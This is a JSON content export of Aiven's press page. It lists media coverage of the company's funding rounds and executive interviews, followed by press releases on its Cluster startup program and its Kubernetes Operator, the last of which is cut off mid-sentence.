{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"6tbHPBzR7GQhNrmsFi6GRP","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://cheddar.com/media/cloud-technology-startup-aiven-raises-million-in-series-b-funding","publishedAt":"2020-02-05T21:00:00.000Z","subtitle":"Aiven is a company that combines open source technologies with cloud infrastructure. It just raised $40 million in Series B. Oskari Saarenmaa, CEO and co-founder at Aiven, joined Cheddar to discuss what the startup will do with the new funding.","title":"Cloud Technology Startup Aiven Raises $40 million in Series B Funding"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"70fTAopdRmLGhIAtPV6O5E","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.bloomberg.com/news/articles/2021-03-23/finnish-software-firm-aiven-raises-cash-at-800-million-value","publishedAt":"2021-03-22T21:00:00.000Z","subtitle":"Aiven, a Finnish company that makes open-source software to manage databases, has raised funding at a valuation of more than $800 million, a roughly fourfold increase since its last round a year ago.","title":"Finnish Software Firm Aiven Raises Cash at $800 Million Value"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"731CAsON7FVZmeUGpjYda1","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://citybizlist.com/article/595236/github-investor-ivp-leads-40m-series-b","publishedAt":"2020-02-04T21:00:00.000Z","subtitle":"Aiven, a startup that combines the best open source technologies with cloud infrastructure, today announced that it has raised $40 million in Series B funding.","title":"GitHub Investor IVP Leads $40M Series B"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"73GQ8s2v2GqX6QvdTBa0Hf","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.cnbc.com/2020/03/03/on-super-tuesday-us-voting-technology-will-be-under-intense-scrutiny.html","publishedAt":"2020-03-01T21:00:00.000Z","subtitle":"While election technology will continue to evolve to meet new threats, Heikki Nousiainen, CTO of the open-source technology company Aiven, said that companies hoping to safeguard the process will always have to split the difference between verifying a vote and protecting the voter’s anonymity.","title":"On Super Tuesday, America’s voting technology will be under intense scrutiny"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"74MZ8K7f4hsMou2KFrr8iI","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://digitalanarchist.com/videos/featured-guests/open-source-security-aiven","publishedAt":"2021-08-25T21:00:00.000Z","subtitle":"Watch as our CISO James Arlen chats with Alan Shimel about open source security on TechStrong TV.","title":"Open Source Security with James Arlen, CISO at Aiven"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"7CmM4z3CZq10L5w88RYB4S","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.cmswire.com/information-management/why-open-source-usage-is-increasing-in-the-digital-workplace/","publishedAt":"2021-01-31T22:00:00.000Z","subtitle":"Heikki Nousiainen, co-founder and CTO at Finland-based Aiven, said, businesses are demanding open source components in their processes to gain agility and the capabilities to move around and innovate faster.","title":"CMSWire: Why Open Source Usage Is Increasing in the Digital Workplace"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"7GeygX5uubIlZFdgkOPUWC","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://venturebeat.com/2021/03/23/aiven-raises-150m-to-manage-cloud-data-infrastructure-for-open-source-technologies/","publishedAt":"2021-03-22T21:00:00.000Z","subtitle":"Aiven, a Finnish company that provides managed open source data technologies on most of the major public clouds, today announced it has raised $100 million in a series C round of funding.","title":"Aiven raises $100M to manage cloud data infrastructure for open source technologies"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"7IhCZ1mZOevaCxaPmkeMVD","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.clickz.com/consumer-data-privacy-qa/256437/","publishedAt":"2019-10-09T21:00:00.000Z","subtitle":"When it comes to consumer data privacy issues, how secure are cloud-based solutions versus on-premise? What are common pitfalls where businesses might slip up?","title":"Consumer data privacy, the cloud, and common pitfalls: Q\u0026A with Aiven CTO"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"7JbjwNVxtyzOC2tO5ib7x3","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://venturebeat.com/2021/10/19/managed-open-source-data-infrastructure-provider-aiven-raises-60m/","publishedAt":"2021-10-18T22:00:00.000Z","subtitle":"Aiven, a provider of fully managed and hosted services for myriad open source data infrastructure projects including Kafka, Grafana, and Cassandra, has raised $60 million in a series C extension round at a $2 billion valuation.","title":"VentureBeat: Managed open source data infrastructure provider Aiven raises $60M"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"7JsVcf6LKp6HjxUBdFeSXh","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.easybranches.com/technology/innovation-nation/5475632","publishedAt":"2020-02-04T21:00:00.000Z","subtitle":"Aiven — which provides managed, cloud based services designed to make it easier for businesses to build services on top of open source projects — is today announcing that it has raised $40 million in funding, a Series B being led by IVP.","title":"Aiven raises $40M to democratize access to open source projects through managed cloud services"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"7azIq7pVo9ka3JRj50rLqg","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.computing.co.uk/news/4031866/91-cent-enterprise-developers-open-source-play-organisation-future-report","publishedAt":"2021-05-25T21:00:00.000Z","subtitle":"Heikki Nousiainen, CTO and co-founder at Aiven, said: \"Using open source software is a fantastic way for enterprises to take advantage of the latest innovation in software. More importantly, it provides businesses with the flexibility for growth, without having to worry about vendor lock-in and other challenges that come with using proprietary software.\"","title":"Computing: 91 per cent of enterprise developers say open source will play a part in their organisation's future, report"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"7dM5PQT9t9rquRxE7mxo1y","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://searchitoperations.techtarget.com/news/252471744/Chef-outage-fuels-technology-ethics-debate","publishedAt":"2019-10-02T21:00:00.000Z","subtitle":"Software companies have been embroiled in high-profile ethical controversies in the past two years, driving industry debate about just how extensively politics should influence tech.","title":"Chef outage fuels technology ethics debate"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"7fWQe9pAeu9EwpKMHH3471","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.computing.co.uk/analysis/4012007/happening-open-source-databases","publishedAt":"2020-03-08T21:00:00.000Z","subtitle":"Cloud has changed the rules of engagement, says Aiven CEO Oskari Saarenmaa.","title":"What's happening with open-source databases?"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"7lKcpfUrIeNyQWzWqZi0qh","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://gritdaily.com/new-marketing-opportunities-wearables/","publishedAt":"2020-01-04T21:00:00.000Z","subtitle":"“Open source will bring businesses more agility and enable them to process data quickly while simultaneously producing valuable insights,” says Heikki Nousiainen, chief technology officer at Aiven, a firm that develops managed cloud service hosting for software infrastructure services.","title":"Retailers Find New Marketing Opportunities with Wearables"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"7neob038Ej5VNCHm7Qt4V3","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://game-zoom.ru/finskaya-kompaniya-aiven-privlekla-60-mln-dollarov-pri-ocenke-v-2-mlrd-dollarov.html","publishedAt":"2021-10-18T22:00:00.000Z","subtitle":"Финская фирма по разработке облачного программного обеспечения Aiven привлекла 60 миллионов долларов от существующих инвесторов World Innovation Lab, IVP и Atomico, что дает компании оценку в 2 миллиарда долларов, сообщается во вторник.","title":"Финская компания Aiven привлекла 60 млн долларов при оценке в 2 млрд долларов"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"7nmKeZSO9Z3p2Ku0UwJKCH","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.linux.com/news/aiven-raises-40m-to-democratize-access-to-open-source-projects-through-managed-cloud-services/","publishedAt":"2020-02-05T21:00:00.000Z","subtitle":"Aiven — which provides managed, cloud-based services designed to make it easier for businesses to build services on top of open-source projects — is today announcing that it has raised $40 million in funding, a Series B being led by IVP (itself a major player in enterprise software, backing an illustrious list that includes Slack, Dropbox, Datadog, GitHub and HashiCorp).","title":"Aiven Raises $40M To Democratize Access To Open-Source Projects Through Managed Cloud Services"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"8xjyR4briDyESs2YLUz5r","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://betanews.com/2022/05/07/continue-growth-of-open-source/","publishedAt":"2022-05-07T08:00:00.000Z","subtitle":"Heikki Nousiainen explains how to continue the growth of Open Source in the UK ","title":"How to continue the growth of open source in the UK"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"HFpP9HXdJObSmEJTgcopa","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://linuxinsider.com/story/github-expands-free-feature-access-slices-other-costs-86619.html","publishedAt":"2020-04-15T21:00:00.000Z","subtitle":"GitHub has lowered its pricing plans drastically and made its core features free for everyone, even for private development.","title":"GitHub Expands Free Feature Access, Slices Other Costs"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"Imyw51QNsPOtlhXRu4mkO","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.capital.de/amp/wirtschaft-politik/wachsende-tech-unternehmen-trotzen-steigenden-zinsen-31767006.html","publishedAt":"2022-04-08T08:00:00.000Z","subtitle":"Julian Lange, CFO explains what does the interest rate turnaround mean for start-up financing?","title":"Flaute? Von wegen! Wachsende Tech-Unternehmen trotzen steigenden Zinsen"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"OycUd1HMGu6HZtlcQSelZ","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://searchdatamanagement.techtarget.com/news/252498637/Aiven-set-to-grow-open-source-database-as-a-service-platform","publishedAt":"2021-03-29T21:00:00.000Z","subtitle":"There is no shortage of challenges and competition in the open source database market, but Aiven CTO Heikki Nousiainen sees opportunities for growth.","title":"Aiven set to grow open source database-as-a-service platform"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"UNNW3aRlK5jmpYMMBa4Yx","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://sdtimes.com/open-source/the-ethical-side-of-open-source/","publishedAt":"2020-01-08T21:00:00.000Z","subtitle":"One thing that doesn’t get enough attention is the ethics of that open-source project, according to Heikki Nousiainen, CTO and co-founder at Aiven, an IT service management company. ","title":"The ethical side of open source"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"VHatEa1Ryb4G4PGxrIzDr","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://siliconangle.com/2021/08/25/elastic-surprises-investors-unexpected-profit-quarterly-earnings/","publishedAt":"2021-08-24T21:00:00.000Z","subtitle":"\"The death of open source business models is nowhere on the horizon and companies need to shift their stance now if they want to remain a trusted member of the open-source community.”","title":"SiliconANGLE: Aiven's CEO commenting on Elastic's move from open source"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"YZVZObpXlGwm6U9fbgD6g","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://streetfightmag.com/2019/12/30/retailers-find-new-marketing-opportunities-with-wearables/#.Xs-axhMzY3F","publishedAt":"2019-12-28T21:00:00.000Z","subtitle":"“Open source will bring businesses more agility and enable them to process data quickly while simultaneously producing valuable insights,” says Heikki Nousiainen, chief technology officer at Aiven, a firm that develops managed cloud service hosting for software infrastructure services.","title":"Retailers Find New Marketing Opportunities with Wearables"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"chej1g9CRaWr1BVZB00CO","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.builtinboston.com/2020/03/02/boston-tech-news-030220","publishedAt":"2020-03-01T21:00:00.000Z","subtitle":"Aiven added to leadership team. The startup combines open-source tech with cloud infrastructure. It appointed Larry Irvin as VP and general manager of its Americas operation.","title":"Weekly Refresh: Mentor Collective, Aiven Name New VPs, And More"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"eooYQnaYuHOTCPq6Ysfd9","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://tech.eu/brief/helsinki-based-aiven-raises-40-million-to-build-its-cloud-services-from-boston-and-san-francisco/","publishedAt":"2020-02-05T21:00:00.000Z","subtitle":"Aiven, a Helsinki-based cloud technology startup, has raised a $40 million Series B round led by the Silicon Valley-based Institutional Venture Partners (IVP), with participation from Earlybird and other investors.","title":"Helsinki-based Aiven raises $40 million to build its cloud services from Boston and San Francisco"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"hhqXcHGDdgMMIK1kxo9uC","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.bizjournals.com/boston/news/2020/02/06/finnish-startup-to-expand-boston-presence-after.html","publishedAt":"2020-02-05T21:00:00.000Z","subtitle":"Aiven, a Finnish provider of managed cloud service hosting for software infrastructure services, is planning an expansion of its Boston presence following the closing of a $40 million round of funding. ","title":"Finnish startup to expand Boston presence after raising $40M"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"iA3shMjcKSu3sNcb7XAqL","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.securityweek.com/experts-weigh-cybersecurity-risks-capitol-attacks","publishedAt":"2021-01-09T22:00:00.000Z","subtitle":"“Preparatory training is vital as a baseline part of your security awareness program - when you leave your desk, lock your machine!” -James Arlen, CISO at Aiven","title":"Experts Weigh In on Cybersecurity Risks of Capitol-Like Attacks"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"k9JJM5dL9MlW2F9Afz8eN","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://venturefizz.com/stories/boston/talent-move-february-28-2020","publishedAt":"2020-02-28T21:00:00.000Z","subtitle":"Here's your look at the latest hires and promotions across the Boston tech community at BCG Omnia, NWN, Acquia, Examity, Cantina, Quick Base, Rocket Insights, Knox Financial, Brightcove, DraftKings, edX, ClimaCell, and Aiven.","title":"Talent on the Move - February 28, 2020"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"l0mxnq8LvgZPeHKFviNsa","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.lemagit.fr/conseil/BI-huit-conseils-pour-creer-de-bons-tableaux-de-bord","publishedAt":"2020-11-15T22:00:00.000Z","subtitle":"Soumya Bijjal, directrice de la gestion des produits chez Aiven, un fournisseur de plateforme d’infrastructure de données open source, confirme : « quand les entreprises élaborent des tableaux de bord qui sont adaptés à chaque utilisateur et qui ne présentent que les informations strictement nécessaires, ces entreprises extraient bien plus de valeur de leurs données ».","title":"LeMagIT: huit conseils pour créer de bons tableaux de bord"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"msVh47le5VBFHNJfv4VqB","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.computing.co.uk/feature/4033798/set-open-source-program-office","publishedAt":"2021-06-30T21:00:00.000Z","subtitle":"Google, Microsoft and VMware all have them and their use is spreading as security concerns mount - but what exactly is an OSPO?","title":"Computing: Is it time to set up an Open Source Program Office?"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"vb0VG4gAgeR0RGRYQLdn5","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.siliconrepublic.com/enterprise/heikki-nousiainen-aiven-digital-transformation","publishedAt":"2021-02-04T22:00:00.000Z","subtitle":"Heikki Nousiainen of Aiven discusses how businesses can be successful with digital transformation and the data trends he sees coming down the line.","title":"Silicon Republic: ‘Companies must change the culture of their workforce to think digitally’"}
{"__i18n_lang":"en","_createdAt":"2023-08-28T09:06:50Z","_id":"0e13269b-35bd-4d75-b993-bdfa17a74e24","_rev":"n4o7HM4ybKf4O57IbWDoeq","_type":"pressRelease","_updatedAt":"2023-08-29T08:34:35Z","content":[{"_key":"351b8dcaada4","_type":"block","children":[{"_key":"511ea8e65b200","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — August 24, 2023"},{"_key":"511ea8e65b201","_type":"span","marks":[],"text":" — "},{"_key":"511ea8e65b202","_type":"span","marks":["309af7dfe4dd"],"text":"Aiven"},{"_key":"511ea8e65b203","_type":"span","marks":[],"text":", the open source cloud data platform for everyone, today announced the launch of its enhanced Cluster startup program, reaffirming its commitment to supporting and empowering early-stage companies on their path to success. The revised program aims to be more inclusive and accessible by expanding the eligibility criteria, introducing a lower credit tier accessible to a wider range of startups, and expanding the ecosystem of partners among venture capital (VC) firms and accelerators across the Americas, EMEA, and APAC regions."}],"markDefs":[{"_key":"309af7dfe4dd","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"2d294c4fe745","_type":"block","children":[{"_key":"997d1aeb3cca0","_type":"span","marks":[],"text":"The Cluster program was first introduced in November 2021 and it has achieved remarkable success with notable graduates such as "},{"_key":"997d1aeb3cca1","_type":"span","marks":["4ba715ace408"],"text":"Hookdeck"},{"_key":"997d1aeb3cca2","_type":"span","marks":[],"text":", "},{"_key":"997d1aeb3cca3","_type":"span","marks":["b37129707f34"],"text":"Huuva"},{"_key":"997d1aeb3cca4","_type":"span","marks":[],"text":", and "},{"_key":"997d1aeb3cca5","_type":"span","marks":["c9c451a7e147"],"text":"4.screen"},{"_key":"997d1aeb3cca6","_type":"span","marks":[],"text":". Based on feedback from graduates of the initial program and aspiring participants, Aiven has updated the program to increase its impact and to make it more accessible to fast-growing early-stage startups worldwide."}],"markDefs":[{"_key":"4ba715ace408","_type":"link","href":"https://hookdeck.com/"},{"_key":"b37129707f34","_type":"link","href":"https://huuva.io/"},{"_key":"c9c451a7e147","_type":"link","href":"https://www.4screen.com/"}],"style":"normal"},{"_key":"8b2e5c572354","_type":"block","children":[{"_key":"c2f7d880f22d0","_type":"span","marks":[],"text":"“The Cluster program has been instrumental in our progress this year,” says Christoph Mahlert, co-founder and CTO of "},{"_key":"c2f7d880f22d1","_type":"span","marks":["7668fb769649"],"text":"4screen"},{"_key":"c2f7d880f22d2","_type":"span","marks":[],"text":". “Aiven's support and technologies have allowed us to focus on our core business, confidently knowing that we have a reliable partner to manage our data infrastructure. The accessibility and inclusivity of the revised program will undoubtedly bring the same level of success to countless other startups like ours.\""}],"markDefs":[{"_key":"7668fb769649","_type":"link","href":"https://www.4screen.com/"}],"style":"normal"},{"_key":"c374ce4003fc","_type":"block","children":[{"_key":"69d832d7ea4c0","_type":"span","marks":[],"text":"According to Tiina Romu, Software Team Lead at "},{"_key":"69d832d7ea4c1","_type":"span","marks":["44e4e4784e1f"],"text":"Huuva"},{"_key":"69d832d7ea4c2","_type":"span","marks":[],"text":", “being part of the Cluster program has given us the freedom to choose the tools we want from the start, without worrying about the actual cost of these services, or how much time maintaining them would take. So we feel that this is really helping us move forward and grow.”"}],"markDefs":[{"_key":"44e4e4784e1f","_type":"link","href":"https://www.huuva.io/"}],"style":"normal"},{"_key":"6373031ee899","_type":"block","children":[{"_key":"85b41e5694310","_type":"span","marks":[],"text":"The revised program includes the following changes:"}],"markDefs":[],"style":"normal"},{"_key":"c0df2a64b09c","_type":"block","children":[{"_key":"3f5712af075c0","_type":"span","marks":[],"text":"Eligibility: startups that have fundraised up to and including Series B are eligible to apply, replacing the previous requirement of funding up to Series A only."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"3c356586e524","_type":"block","children":[{"_key":"88a0bb3d2b6f0","_type":"span","marks":[],"text":"Age criteria: the program now accepts startups that are a maximum of seven years old, expanding from the previous age limit of five years."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e293f541fe01","_type":"block","children":[{"_key":"70c18c7f5a6b0","_type":"span","marks":[],"text":"Credit distribution: we will continue to distribute up to $100,000 in credits through our startup ecosystem partners, which include VC firms, accelerators, and incubators."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"97a1682a0ec4","_type":"block","children":[{"_key":"b834637ff3d30","_type":"span","marks":[],"text":"New tier: we have introduced a new $12,000 tier specifically tailored for startups not affiliated with our partners. This new tier allows them to access the program resources and support."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f9ed4b699afa","_type":"block","children":[{"_key":"2482bdf0dad20","_type":"span","marks":[],"text":"The Cluster program also enables the expansion of Aiven’s startup ecosystem partner network across the world, offering their portfolio companies access to exclusive perks and Aiven benefits. The list of new partners in the revamped program includes Techstars (global), Liquid2 Ventures (USA), RevRoad (USA), Underline Ventures (Romania), HV Capital (Germany), Icebreaker (Finland), Project A (Germany), ISAI (France), Digital Well Incubator (Sweden), MMC (UK), Hummingbird VC (UK), Karma Ventures (Estonia), Target Global (Germany), Chemovator (Germany), GoGrow (Singapore) and the Singapore Management University (SMU)."}],"markDefs":[],"style":"normal"},{"_key":"9b486167fd54","_type":"block","children":[{"_key":"1abeafa1f20b0","_type":"span","marks":[],"text":"“The startup community has supported us on our journey since our inception,” said Oskari Saarenmaa, CEO and co-founder of Aiven. “To reciprocate the goodwill we received when we first started out, we wish to power the transformative technologies of even more early-stage companies.”"}],"markDefs":[],"style":"normal"},{"_key":"26ef77e3580d","_type":"block","children":[{"_key":"b65d7eaf9b1c0","_type":"span","marks":[],"text":"For more information on the Cluster Startup Program, its benefits, and how to apply, please visit "},{"_key":"b65d7eaf9b1c1","_type":"span","marks":["daa6bb163ae9"],"text":"https://aiven.io/cluster"},{"_key":"b65d7eaf9b1c2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"daa6bb163ae9","_type":"link","href":"https://aiven.io/cluster"}],"style":"normal"},{"_key":"8bad41b3a959","_type":"block","children":[{"_key":"843e3b2f5f170","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"db6e2f998e82","_type":"block","children":[{"_key":"2776c95696ce0","_type":"span","marks":[],"text":"Aiven will also be participating at the Google Cloud Next conference in San Francisco and will be sharing more information about the Cluster program at the Startup Lounge on Wednesday, August 30, 2023.\n"}],"markDefs":[],"style":"normal"},{"_key":"d68d97e44a9b","_type":"block","children":[{"_key":"0168a8eb7f960","_type":"span","marks":["strong"],"text":"Additional resources:"}],"markDefs":[],"style":"normal"},{"_key":"ed372f12290f","_type":"block","children":[{"_key":"908e327927420","_type":"span","marks":[],"text":"Find out how recent graduates of the Cluster Program - Huuva and 4.Screen have benefited and read more about their journey below:"}],"markDefs":[],"style":"normal"},{"_key":"b2cde9e6aad3","_type":"block","children":[{"_key":"a46235ad7ba20","_type":"span","marks":["2414082f03a8"],"text":"Huuva"},{"_key":"a46235ad7ba21","_type":"span","marks":[],"text":" - a Finnish cloud kitchen startup"}],"level":1,"listItem":"number","markDefs":[{"_key":"2414082f03a8","_type":"link","href":"https://www.huuva.io/"}],"style":"normal"},{"_key":"bc49b576bb71","_type":"block","children":[{"_key":"d9cefca862100","_type":"span","marks":["ea42b8220058"],"text":"4.Screen"},{"_key":"d9cefca862101","_type":"span","marks":[],"text":" - a fast-growing German startup, building the world’s first driver interaction platform\n"}],"level":1,"listItem":"number","markDefs":[{"_key":"ea42b8220058","_type":"link","href":"https://aiven.io/blog/customer-interview-4screen"}],"style":"normal"},{"_key":"504ece3f6057","_type":"block","children":[{"_key":"60027c4dce720","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"8ceb533e4b73","_type":"block","children":[{"_key":"ff5c1b4559890","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Amsterdam, Berlin, Boston, Paris, Singapore, Sydney, Tokyo, and Toronto, Aiven provides managed open source data technologies, such as PostgreSQL®, Apache Kafka® and OpenSearch®, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source data technologies that trigger true transformations on a global scale. "}],"markDefs":[],"style":"normal"},{"_key":"905629b4b196","_type":"block","children":[{"_key":"dae6987e2dd70","_type":"span","marks":[],"text":"To learn more about Aiven, visit "},{"_key":"dae6987e2dd71","_type":"span","marks":["e26498c080fd"],"text":"aiven.io"},{"_key":"dae6987e2dd72","_type":"span","marks":[],"text":" and follow "},{"_key":"dae6987e2dd73","_type":"span","marks":["8aefc43ba4b1"],"text":"@aiven_io"},{"_key":"dae6987e2dd74","_type":"span","marks":[],"text":" on Twitter."}],"markDefs":[{"_key":"e26498c080fd","_type":"link","href":"https://aiven.io/"},{"_key":"8aefc43ba4b1","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"},{"_key":"4ebe00e543fe","_type":"block","children":[{"_key":"a97de1e7fabc0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"1637a33b29f6","_type":"block","children":[{"_key":"1f3ca7e8cbbe0","_type":"span","marks":["strong"],"text":"Media Contacts"}],"markDefs":[],"style":"normal"},{"_key":"c9ad295bb3d7","_type":"block","children":[{"_key":"bf677fb144040","_type":"span","marks":["fb4fcf83a67b"],"text":"press@aiven.io"}],"markDefs":[{"_key":"fb4fcf83a67b","_type":"link","href":"mailto:press@aiven.io"}],"style":"normal"}],"publishedAt":"2023-08-28T11:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Enhanced program welcomes new startup ecosystem partners and includes a lower credit tier to make the program more accessible and inclusive to startups","metaImage":{"_type":"mainImage","alt":"Aiven unveils revamped Cluster startup program","asset":{"_ref":"image-4373b04e5a6dca9a1508a1a72e0e165e29d5b58a-3295x1724-png","_type":"reference"}},"metaTitle":"Aiven unveils revamped Cluster startup program"},"slug":{"_type":"slug","current":"/press/aiven-unveils-revamped-cluster-startup-program"},"subtitle":"Enhanced program welcomes new startup ecosystem partners spanning the Americas, APAC, and EMEA regions, and includes a lower credit tier to make the program more accessible and inclusive to startups","title":"Aiven unveils revamped Cluster startup program to empower and support promising ventures"}
{"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"2f9dWPBsJrM6W9WkIBoTy4","_rev":"ElrRHx5al3kb1PwLXHAAW8","_type":"pressRelease","_updatedAt":"2022-12-02T12:52:38Z","content":[{"_key":"FPQiIGKm","_type":"block","children":[{"_key":"49d46d697c32","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — September 13, 2021 -"},{"_key":"LC9cZvva","_type":"span","marks":[],"text":" Aiven, a leading technology company combining the best open source technologies with cloud infrastructure, announced today the release of Aiven Operator for Kubernetes, enabling smoother management of Aiven services while using Kubernetes native tools. With the release of the Aiven Operator for Kubernetes, customers can now connect any containerized application running on Kubernetes directly into the Aiven platform. Aiven Operator for Kubernetes is currently available for Aiven for Kafka and Aiven for PostgreSQL."}],"markDefs":[],"style":"normal"},{"_key":"bDoyIrMD","_type":"block","children":[{"_key":"7HFOWNPS","_type":"span","marks":[],"text":"Expedited by the move to cloud-based models, Kubernetes has accelerated in popularity in the last year and, by the end of 2021, regular container usage will be nearly "},{"_key":"lB1lNqvn","_type":"span","marks":["m2039261424858"],"text":"30% and growing"},{"_key":"JiCXR4IF","_type":"span","marks":[],"text":". For customers who already have their infrastructure on Kubernetes, the Aiven Operator for Kubernetes will allow them to integrate Aiven services with their existing tools. Due to its open source foundation, users can also use the same language to communicate Aiven and Kubernetes services with any supported 